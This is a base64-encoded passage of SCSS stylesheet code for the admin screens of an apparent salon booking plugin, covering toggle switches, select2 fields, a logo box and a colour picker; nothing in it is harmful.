G4gICAgQGV4dGVuZCAlc2xuLWlucHV0LWhlbHA7XG4gICAgbWFyZ2luOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSAwO1xuICAgIGlucHV0IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtOTk5OXB4O1xuICAgICAgdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtcbiAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3OHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDc0cHgpO1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4ge1xuICAgICAgcGFkZGluZzogMnB4O1xuICAgICAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMTIwcHgpO1xuICAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y3YzY1ZjtcbiAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC40cztcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgZm9udC1mYW1pbHk6ICdPcGVuIFNhbnMnLCBzZXJpZjtcbiAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICBmb250LXdlaWdodDogNjAwO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG46YmVmb3JlLFxuICAgIGlucHV0ICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0bjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1cHgpO1xuICAgICAgbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1cHgpO1xuICAgICAgYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDVweCk7XG4gICAgICBjb250ZW50OiAnJztcbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuOmJlZm9yZSB7XG4gICAgICBjb250ZW50OiBhdHRyKGRhdGEtb2ZmKTtcbiAgICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDUzcHgpO1xuICAgICAgYm9yZGVyLXJhZGl1czogMTAwJTtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIG1hcmdpbi1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTJweCk7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0bjphZnRlciB7XG4gICAgICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1M3B4KTtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBib3JkZXItcmFkaXVzOiAxMDAlO1xuICAgICAgLy9ib3gtc2hhZG93OiAwIDJweCA1cHggcmdiYSgwLCAwLCAwLCAwLjMpO1xuICAgICAgdHJhbnNpdGlvbjogbWFyZ2luIDAuNHM7XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICM1YmMyNGM7XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuOmJlZm9yZSB7XG4gICAgICBjb250ZW50OiBhdHRyKGRhdGEtb24pO1xuICAgICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuOmFmdGVyIHtcbiAgICAgIG1hcmdpbi1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU3cHgpO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4gKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dCB7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICB3aWR0aDogNzAlO1xuICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLXRleHQ6YmVmb3JlLFxuICAgIGlucHV0ICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0biArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC10ZXh0OmFmdGVyIHtcbiAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbGVmdDogMDtcbiAgICAgIHRvcDogMDtcbiAgICAgIHRyYW5zaXRpb246IG9wYWNpdHkgMC4yNXM7XG4gICAgICAmOjpsYXN0LXdvcmQge1xuICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgIH1cbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLXRleHQ6YmVmb3JlIHtcbiAgICAgIGNvbnRlbnQ6IGF0dHIoZGF0YS1vZmYpO1xuICAgICAgb3BhY2l0eTogMTtcbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLXRleHQ6YWZ0ZXIge1xuICAgICAgY29udGVudDogYXR0cihkYXRhLW9uKTtcbiAgICAgIG9wYWNpdHk6IDA7XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWRcbiAgICAgICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0blxuICAgICAgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dDpiZWZvcmUge1xuICAgICAgb3BhY2l0eTogMDtcbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZFxuICAgICAgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuXG4gICAgICArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC10ZXh0OmFmdGVyIHtcbiAgICAgIG9wYWNpdHk6IDE7XG4gICAgfVxuICAgIC8vaW5wdXQ6Y2hlY2tlZCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4gKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dCB7XG4gICAgLy99XG4gICAgJi5zbG4tc3dpdGNoLS1vbGQtLXNtYWxsZXIge1xuICAgICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLXRleHQge1xuICAgICAgICB3aWR0aDogNjAlO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIC5zbG4tc2VsZWN0IHtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgJjpub3QoLnNsbi1zZWxlY3QtLW11bHRpcGxlKSB7XG4gICAgICBAZXh0ZW5kICVzbG4taW5wdXQ7XG4gICAgfVxuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbDtcbiAgICB9XG4gICAgQGV4dGVuZCAlc2xuLWlucHV0LWhlbHA7XG4gICAgbWFyZ2luLWJvdHRvbTogMi41cmVtO1xuICAgICYuc2xuLXNlbGVjdC0taW5mby1sYWJlbCB7XG4gICAgICAuc2xuLWxhYmVsLS1iaWcge1xuICAgICAgICBsYWJlbCB7XG4gICAgICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsLS1iaWc7XG4gICAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgICBoZWlnaHQ6IDMuMzNyZW07XG4gICAgICAgICAgZGlzcGxheTogdGFibGUtY2VsbDtcbiAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgICAgfVxuICAgICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICAgICAgcGFkZGluZy1sZWZ0OiAwO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXNlbGVjdC0tbXVsdGlwbGUge1xuICAgICAgaW5wdXQge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgIC1tb3otYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgQGluY2x1ZGUgYWRtaW5fY29uZmlnLnBsYWNlaG9sZGVyLWNvbG9yKHJnYmEoMjU1LCAyNTUsIDI1NSwgMCkpO1xuICAgICAgICAmOmZvY3VzIHtcbiAgICAgICAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgICAgLW1vei1ib3gtc2hhZG93OiBub25lO1xuICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1iZWxvdyBpbnB1dCB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICB9XG4gICAgICAuc2VsZWN0Mi1jb250YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tYmVsb3cuc2VsZWN0Mi1jb250YWluZXItLWZvY3VzXG4gICAgICAgIGlucHV0IHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIH1cbiAgICAgICY6aG92ZXIge1xuICAgICAgICBpbnB1dCB7XG4gICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIH1cbiAgICAgICAgLnNlbGVjdDItY29udGFpbmVyLS1zbG4uc2VsZWN0Mi1jb250YWluZXItLWJlbG93LnNlbGVjdDItY29udGFpbmVyLS1mb2N1c1xuICAgICAgICAgIGlucHV0IHtcbiAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgICAuc2VsZWN0Mi1zZWFyY2hfX2ZpZWxkIHtcbiAgICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NXB4KTtcbiAgICAgICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNTBweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgICAgIG1hcmdpbjogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oNXB4KSAwO1xuICAgICAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICYuc2xuLXNlbGVjdC0tbXVsdGlwbGUtLXNlYXJjaCAuc2xuLXNlbGVjdC0taW53cmFwcGVyIHtcbiAgICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgLnNlbGVjdDItY29udGFpbmVyIHtcbiAgICAgICAgICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDNyZW0gc29saWQgI2ZmZjtcbiAgICAgICAgICAgIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuICAgICAgICAgICAgICAvL21hcmdpbi1ib3R0b206IDMuMnJlbTtcbiAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDE4cmVtO1xuICAgICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvO1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgLnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuICAgICAgICAgICAgICB3aWR0aDogY2FsYygxMDAlIC0gNDRweCk7XG4gICAgICAgICAgICAgIGhlaWdodDogM3JlbTtcbiAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICB0b3A6IDEwMCU7XG4gICAgICAgICAgICAgIGxlZnQ6IDA7XG4gICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmO1xuICAgICAgICAgICAgICAvL3BhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oOXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oNHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICAuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSB7XG4gICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICB3aWR0aDogNDRweDtcbiAgICAgICAgICAgIGhlaWdodDogM3JlbTtcbiAgICAgICAgICAgIHRvcDogMTAwJTtcbiAgICAgICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZjtcbiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICB9XG4gICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICY6aG92ZXIsXG4gICAgICAgICAgICAmOmZvY3VzLFxuICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYigyNDEsIDI0NywgMjUxKTtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAyNzdiZDtcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAuc2VsZWN0Mi1jb250YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tb3BlblxuICAgICAgICAgIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG4gICAgICAgICAgICBjb2xvcjogIzAyNzdiZDtcbiAgICAgICAgICB9XG4gICAgICAgICAgLnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiKDI0MSwgMjQ3LCAyNTEpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSB7XG4gICAgICAgICAgLnNlbGVjdDItc2VhcmNoX19maWVsZCB7XG4gICAgICAgICAgICBtaW4td2lkdGg6IDEwMCU7XG4gICAgICAgICAgICBtYXJnaW46IDA7XG4gICAgICAgICAgICBoZWlnaHQ6IDNyZW07XG4gICAgICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgdHJhbnNpdGlvbjogY29sb3IgMTUwbXM7XG4gICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgICYuaGFzX25vX2Nob2ljZXMge1xuICAgICAgICAgIGJvcmRlcjogbm9uZTtcbiAgICAgICAgICAuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSxcbiAgICAgICAgICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAgICAgICAgICAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgfVxuICAgICAgICAgIC5zZWxlY3QyLXNlYXJjaC0taW5saW5lIHtcbiAgICAgICAgICAgIGJvcmRlci1yaWdodDogbm9uZTtcbiAgICAgICAgICB9XG4gICAgICAgICAgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cbiAgICAgICAgICAgIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGU6OmJlZm9yZSB7XG4gICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTtcbiAgICAgICAgICB9XG4gICAgICAgICAgLnNsbi1zZWxlY3Qtd3JhcHBlci1tdWx0aS1zZWFyY2gge1xuICAgICAgICAgICAgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG4gICAgICAgICAgICAgIHBhZGRpbmc6IDA7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgYm9yZGVyLXRvcC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tY2hlY2tib3ggKyAuc2xuLXNlbGVjdCB7XG4gICAgbGFiZWw6ZW1wdHkge1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBjb250ZW50OiAnZW1wdHkgbGFiZWwnO1xuICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICB9XG4gICAgfVxuICAgIC8vIEBpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAvLyBtYXJnaW4tdG9wOiAtMC43NXJlbTtcbiAgICAvLyB9XG4gIH1cbiAgLnNsbi1pbnB1dC1iaWdib3JkZXIge1xuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1iaWctYm9yZGVyO1xuICAgICAgd2lkdGg6IDEwMCU7XG4gICAgfVxuICB9XG5cbiAgLnNsbi1tb3JlbWFyZ2luLS1ib3R0b20ge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oODBweCk7XG4gICAgfVxuICB9XG4gIC5zbG4tbG9nby1ib3gge1xuICAgIC5wcmV2aWV3LWxvZ28ge1xuICAgICAgLy9wYWRkaW5nOiAwLjQ1ODMzcmVtIDAuNjY2NjdyZW07XG4gICAgICAvL2hlaWdodDogOHJlbTtcbiAgICAgIC8vdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgIC8vYm9yZGVyOiAycHggZGFzaGVkICRjbF9tYWluLS1saWdodDtcbiAgICAgIC5wcmV2aWV3LWxvZ28taW1nIHtcbiAgICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgICBwYWRkaW5nOiAxcmVtO1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAxcmVtO1xuICAgICAgICBtaW4taGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDgwcHgpO1xuICAgICAgfVxuICAgICAgLmJ0bi5idG4tbGluayB7XG4gICAgICAgIGNvbG9yOiAjMDAwO1xuICAgICAgfVxuICAgIH1cbiAgICAuc2VsZWN0LWxvZ28ge1xuICAgICAgcGFkZGluZzogMC40NTgzM3JlbSAwLjY2NjY3cmVtO1xuICAgICAgaGVpZ2h0OiA4cmVtO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgYm9yZGVyOiAycHggZGFzaGVkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAuZGFzaGljb25zIHtcbiAgICAgICAgd2lkdGg6IDQwcHg7XG4gICAgICAgIGhlaWdodDogNDBweDtcbiAgICAgICAgZm9udC1zaXplOiA0MHB4O1xuICAgICAgICBsaW5lLWhlaWdodDogMi41ZW07XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gICNzbG5fYm9va2luZy1hY3Rpb25zIHtcbiAgICAuc2xuLWlucHV0LS10ZXh0YXJlYSB7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIGhlaWdodDogMTIwcHg7XG4gICAgICByZXNpemU6IG5vbmU7XG4gICAgfVxuXG4gICAgLnNsbi1pbnB1dC0tdGV4dCB7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG4gIH1cbiAgLy8gQkFEIFRISU5HUyBJIE1VU1QgRE8gLy9cbiAgI3Nsbi1wYXlfYV9kZXBvc2l0LFxuICAjc2xuLWFwcGx5X3RyYW5zYWN0aW9uX2ZlZSxcbiAgI3BheW1lbnQtbW9kZS1zdHJpcGUge1xuICAgIC5zbG4taW5wdXQtLXNpbXBsZSBsYWJlbCB7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4vLyBDT0xPUlBJQ0tFUlxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1jb2xvcnBpY2tlcixcbi5zbG4tY29sb3JwaWNrZXIge1xuICAuc2xuLWNvbG9ycGlja2VyLS1zdWJ3cmFwcGVyIHtcbiAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICB9XG4gIC5zbG4tY29sb3JwaWNrZXItYWRkb24ge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBwYWRkaW5nOiAwO1xuICAgIEBpbmNsdWRlIGFkbWluX2NvbmZpZy5zcWFyZWRfYmcoKTtcbiAgICBpIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgd2lkdGg6IDEwMCUgIWltcG9ydGFudDtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjY2NjO1xuICAgICAgQGV4dGVuZCAlZm9udC1iaWdnZXI7XG4gICAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG4gICAgICB0ZXh0LWluZGVudDogLTk5OTlweDtcbiAgICB9XG4gIH1cbiAgJi5zbG4taW5wdXQtLXNpbXBsZSB7XG4gICAgaW5wdXQge1xuICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgbWFyZ2luOiAwO1xuICAgICAgbWFyZ2luLWJvdHRvbTogLTFweDtcbiAgICAgIC8vbWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgICAgIC8vYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAvLyY6aG92ZXJ7XG4gICAgICAvL1x0Ym9yZGVyLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAvL1x0YmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuICAgICAgLy99XG4gICAgICAvLyY6Zm9jdXMge1xuICAgICAgLy9cdGJvcmRlci1jb2xvcjogJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgLy9cdGJhY2tncm91bmQtY29sb3I6ICRjbF9tYWluO1xuICAgICAgLy99XG4gICAgfVxuICAgIC5zbG4tY29sb3JwaWNrZXItYWRkb24ge1xuICAgICAgbWFyZ2luLXRvcDogLTFweDtcbiAgICB9XG4gICAgbGFiZWwge1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICAgICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1jb2xvcnBpY2tlci13aWRnZXQge1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KTtcbiAgLmNvbG9ycGlja2VyLXNhdHVyYXRpb24ge1xuICAgIHdpZHRoOiAxNjBweDtcbiAgICBoZWlnaHQ6IDE2MHB4O1xuICB9XG4gIC5jb2xvcnBpY2tlci1odWUsXG4gIC5jb2xvcnBpY2tlci1hbHBoYSB7XG4gICAgd2lkdGg6IDI0cHg7XG4gICAgaGVpZ2h0OiAxNjBweDtcbiAgfVxuICAuY29sb3JwaWNrZXItY29sb3IsXG